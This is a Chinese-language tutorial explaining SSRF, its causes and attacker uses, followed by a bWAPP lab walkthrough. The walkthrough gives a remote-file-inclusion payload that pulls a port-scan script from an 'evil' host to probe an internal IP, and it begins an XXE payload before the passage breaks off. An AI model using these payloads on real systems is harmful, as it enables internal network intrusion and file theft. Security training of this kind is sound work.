- SSRF原理及寻找方法
简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF
是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
SSRF 形成原因
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定 URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A 网站,是一 个所有人都可以访问的外网网站,B 网站是一个他们内部的网站,我们普通用户只可以访问 a 网站,不能访问 b 网站。但是我们可以同过 a 网站做中间人,访问 b网站,从而达到攻击 b 网站需求
所以一般攻击选择一台可以由我们访问的存在漏洞的外网服务器(作为跳板机)
正常用户访问网站的流程是
输入 A 网站 URL --> 发送请求 --> A 服务器接受请求(没有过滤),并处理 -->返回用户响应
假设请求是 www.baidu,com/xxx.php?image=URL
那么产生 SSRF 漏洞的环节在哪里呢?就在安全的网站应接收请求后,检测请求的合法性的时候
产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以 及限制,导致 A 网站可以从其他服务器的获取数据
例如: www.oldboyedu.com/xxx.php?image=www.luffycity.com/1.jpg
如果我们将 www.luffycity.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么 效果呢?
如果存在该内网地址就会返回 1xx 2xx 之类的状态码,不存在就会其他的状态码
小结
SSRF 漏洞就是通过篡改获取资源的请求 ,将它发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。 SSRF 用途 攻击者利用
ssrf 可以实现的攻击主要有 5 种
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网 web 应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli等);
5.利用 file 协议读取本地文件等。
(2)SSRF攻防实战及防范方法
bWAPP 中的 SSRF 给出了 3 个小实验来说明 SSRF 的利用场景
任务 1:使用远程文件包含进行端口扫描(内网探测)
点击任务 1 中的 Port scan 可以获得一份端口扫描的攻击脚本
仅需要包含脚本,并请求 IP 参数为对应的主机即可,接下来就是利用 bWAPP 中的远程文件包含漏洞,执行端口扫描的脚本
Choose your bug 中选择 Remote & Local File Inclusion (RFI/LFI)security level 还是选择 low,然后点击 Hack
进入 Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察 Get
请求中的参数,发现是典型文件包含问题,language=lang_en.php
GET 的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go
使用如下 PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务
POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ss
rf-1.txt&action=go POST DATA:ip=192.168.163.159
这里 xxx.xxx.xxx (192.168.163.1)是扫描脚本的访问地址,192.168.163.159 是要扫描的目标主 机地址,且该地址是 xxx.xxx.xxx 主机无法访问到的,然后方便查看区分使用 post 请求提交
要进行扫描的目标主机 IP,扫描结束后便返回结果。
任务 2:使用 XXE 获取敏感文件中的内容(文件读取)
先点击任务 2 中的 Access 得到 XXE 的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然访问
XML External Entity Attacks (XXE)演练环境,使用 burpSuite 抓包,并发送到 repeater
中进行测试
测试中涉及的 XXE 知识可以参考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 这篇文章。
使用 http 协议获取/bWAPP/robots.txt 的内容。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://local